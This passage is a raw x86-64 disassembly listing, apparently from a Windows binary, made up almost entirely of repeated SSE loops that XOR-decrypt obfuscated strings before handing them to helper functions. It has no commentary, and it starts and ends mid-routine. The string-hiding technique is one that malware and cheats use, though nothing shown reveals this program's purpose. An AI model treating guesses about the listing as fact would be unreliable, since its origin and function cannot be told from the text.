punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400cbe80
cmp r8d, 0x19
jge 0x1400cbfc0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400cbf90
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x1f4
xor r8d, r8d
lea rdx, [0x140195754]
mov rcx, r10
call fcn.140056e10
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 6
jne 0x1400cc1a5
lea rdx, [rbp]
lea rcx, [rbp - 0x18]
call fcn.1400cef30
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400cc190
mov r8d, r15d
cmp r12d, 2
jl 0x1400cc158
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cc051
cmp r8d, 0x11
jge 0x1400cc190
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400cc160
lea rdx, [0x140196fe1]
mov rcx, r10
call fcn.140051f50
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 5
jne 0x1400ccc3d
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x17]
call fcn.1400cef50
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x1400cc350
mov r8d, r15d
cmp r12d, 2
jl 0x1400cc317
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400cc210
cmp r8d, 0x1d
jge 0x1400cc350
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400cc320
lea rdx, [0x140196fe8]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xa34]
lea rcx, [rbp - 0x16]
call fcn.1400cef80
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400cc4d0
mov r8d, r15d
cmp r12d, 2
jl 0x1400cc494
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400cc4a0
lea rdx, [0x140196fb8]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xcf]
lea rcx, [rbp - 0x15]
call fcn.1400cefb0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400cc50c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_27
xor r8d, r8d
lea rdx, [0x14019571c]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x14]
call fcn.1400cefd0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x1400cc6d2
mov r8d, r15d
cmp r12d, 2
jl 0x1400cc693
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov ebx, Ordinal_35
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400cc592
jmp 0x1400cc6d7
mov r9, r10
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400cc6a0
mov ebx, Ordinal_35
lea rdx, [0x140196fcf]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x755]
lea rcx, [rbp - 0x13]
call fcn.1400ceff0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400cc727
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fda]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x12]
call fcn.1400cf010
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400cc8d0
mov r8d, r15d
cmp r12d, 2
jl 0x1400cc898
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cc791
cmp r8d, 0x11
jge 0x1400cc8d0
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400cc8a0
mov dword [rsp + 0x28], r15d
lea r14, str._.3f
mov qword [rsp + 0x20], r14
movaps xmm3, xmm15
movaps xmm2, xmm11
lea rdx, [0x140181158]
mov rcx, r10
call fcn.140056dc0
lea rdx, [rbp + 0xaca]
lea rcx, [rbp - 0x11]
call fcn.1400cf030
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400cca60
mov r8d, r15d
cmp r12d, 2
jl 0x1400cca28
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400cca30
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
movaps xmm3, xmm15
movaps xmm2, xmm11
lea rdx, [0x140181134]
mov rcx, r10
call fcn.140056dc0
lea rdx, [rbp + 0xea0]
lea rcx, [rbp - 0x10]
call fcn.1400cf060
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400ccc22
mov r8d, r15d
cmp r12d, 2
jl 0x1400ccbe4
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400ccae3
jmp 0x1400ccc22
mov r9, r10
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400ccbf0
mov r8d, 0x10268
lea rdx, [0x140181190]
mov rcx, r10
call fcn.14005d470
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 8
jne 0x1400cdb25
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0xf]
call fcn.1400cf070
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x1400ccdf0
mov r8d, r15d
cmp r12d, 2
jl 0x1400ccdb7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400cccb0
cmp r8d, 0x19
jge 0x1400ccdf0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400ccdc0
mov r8d, 0x10268
lea rdx, [0x1401811b8]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp]
lea rcx, [rbp - 0xe]
call fcn.1400cf0a0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400ccfb0
mov r8d, r15d
cmp r12d, 2
jl 0x1400ccf77
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cce70
cmp r8d, 0x11
jge 0x1400ccfb0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400ccf80
mov r8d, 0x10268
lea rdx, [0x140182340]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp - 0xd]
call fcn.1400cf0c0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400cd172
mov r8d, r15d
cmp r12d, 2
jl 0x1400cd131
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov ebx, Ordinal_35
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400cd030
jmp 0x1400cd177
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400cd140
mov ebx, Ordinal_35
mov r8d, 0x10268
lea rdx, [0x140195720]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xec0]
lea rcx, [rbp - 0xc]
call fcn.1400cf0d0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400cd332
mov r8d, r15d
cmp r12d, 2
